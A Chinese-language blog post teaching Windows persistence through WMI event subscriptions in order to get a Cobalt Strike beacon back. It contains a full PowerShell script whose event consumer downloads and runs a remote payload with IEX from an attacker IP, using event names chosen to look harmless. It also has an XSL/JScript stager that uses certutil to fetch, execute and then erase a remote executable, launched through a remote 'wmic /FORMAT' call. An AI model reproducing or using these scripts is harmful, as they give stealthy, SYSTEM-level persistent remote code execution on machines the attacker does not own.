权限维持-wmi事件

Posted 2021-12-17 -qing-

 0x01 前言

WMIC扩展WMI（Windows Management Instrumentation，Windows管理工具），提供了从命令行接口和批命令脚本执行系统管理的支持。

在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的wmi。

https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf

WMI可以描述为一组管理Windows系统的方法和功能。我们可以把它当作API来与Windows系统进行相互交流。WMI在渗透测试中的价值在于它不需要下载和安装， 因为WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生，不会留下任何痕迹。

 

0x02 wmi常见使用

检索系统信息

检索系统已安装的软件

wmic product list brief |more

 

搜索系统运行服务

wmic service list brief |more

 

 

搜索启动程序

wmic startup list brief |more

 

搜索计算机域控制器

wmic ntdomain list brief

 

0x03 wmi事件利用达到cs的beacon上线

如下是 WMI-Persistence.ps1 脚本,代码非常简单,三个函数分别是 插入指定wmi事件,删除指定wmi事件,然后查询wmi事件,需要改的地方就一处,即加粗的远程payload地址,

当然,事件名也可以改成自己想要的,不过即使不改也没啥太大关系,一眼看不太出来

 

#

function Install-Persistence


$Payload = "<strong>((new-object net.webclient).downloadstring(‘http://192.168.3.68:80/logo.gif‘))</strong>"
$EventFilterName = ‘Cleanup‘
$EventConsumerName = ‘DataCleanup‘
$finalPayload = "<strong>powershell.exe -nop -c `"IEX $Payload`"</strong>"
 
# Create event filter
$EventFilterArgs = @
    EventNamespace = ‘root/cimv2‘
    Name = $EventFilterName
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System‘ AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
    QueryLanguage = ‘WQL‘

 
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs
 
# Create CommandLineEventConsumer
$CommandLineConsumerArgs = @
    Name = $EventConsumerName
    CommandLineTemplate = $finalPayload

$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs
 
# Create FilterToConsumerBinding
$FilterToConsumerArgs = @
    Filter = $Filter
    Consumer = $Consumer

$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
 
#Confirm the Event Filter was created
$EventCheck = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = ‘$EventFilterName‘"
if ($EventCheck -ne $null) 
    Write-Host "Event Filter $EventFilterName successfully written to host"

 
#Confirm the Event Consumer was created
$ConsumerCheck = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = ‘$EventConsumerName‘"
if ($ConsumerCheck -ne $null) 
    Write-Host "Event Consumer $EventConsumerName successfully written to host"

 
#Confirm the FiltertoConsumer was created
$BindingCheck = Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name=‘$EventFilterName‘"""
if ($BindingCheck -ne $null)
    Write-Host "Filter To Consumer Binding successfully written to host"



function Remove-Persistence $EventFilterName = ‘Cleanup‘ $EventConsumerName = ‘DataCleanup‘


# Clean up Code - Comment this code out when you are installing persistence otherwise it will
 
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = ‘$EventConsumerName‘"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = ‘$EventFilterName‘"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF $($EventConsumerToCleanup.__RELPATH) WHERE ResultClass = __FilterToConsumerBinding"
 
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject


function Check-WMI Write-Host "Showing All Root Event Filters"Get-WmiObject -Namespace root/subscription -Class __EventFilter


Write-Host "Showing All CommandLine Event Consumers"
Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer
 
Write-Host "Showing All Filter to Consumer Bindings"
Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding

 

然后开始插入事件,一旦正常插入成功后,当目标再次重启系统,管理员[administrator]正常登录,稍等片刻[2016可能要稍微多等会儿]当系统在后台轮询到我们的payload事件后,便会被触发执行

PS > Import-Module .\\WMI-Persistence.ps1

PS > Install-Persistence

PS > Check-WMI

 

 

随之,system权限的beacon被正常弹回

0x04 配合certutil 达到自定义上线

 

我们还可以使用wmi的远程加载功能

wmi.xsl 实现的功能很明了,即 certutil下载者

<?xml version=``‘1.0‘``?>

<stylesheet

xmlns=``"http://www.w3.org/1999/XSL/Transform" xmlns:ms=``"urn:schemas-microsoft-com:xslt"

xmlns:user=``"placeholder"

version=``"1.0"``>

<output method=``"text"``/>

``<ms:script implements-prefix=``"user" language=``"JScript"``>

``<![CDATA[

``var r = ``new ActiveXObject(``"WScript.Shell"``).Run(``"cmd.exe /c certutil -urlcache -split -f <strong>http://*/load.jpg</strong> %temp%/load.exe & %temp%/load.exe & certutil.exe -urlcache -split -f http://*/load.jpg delete"``,0);

``]]> </ms:script>

</stylesheet>

 

 

修改WMI-Persistence.ps1 脚本,只需把payload部分换下就行,别的不需要动　　

 wmic os get /FORMAT:"http://192.168.3.68:80/wmi.xsl"

 

 

powershell -exec bypass

PS > Import-Module .\\WMI-Persistence.ps1

PS > Install-Persistence

PS > Check-WMI

PS > Remove-Persistence 用完以后务必要记得随手删掉

 

 

 

也可以达到自定义上线的目的。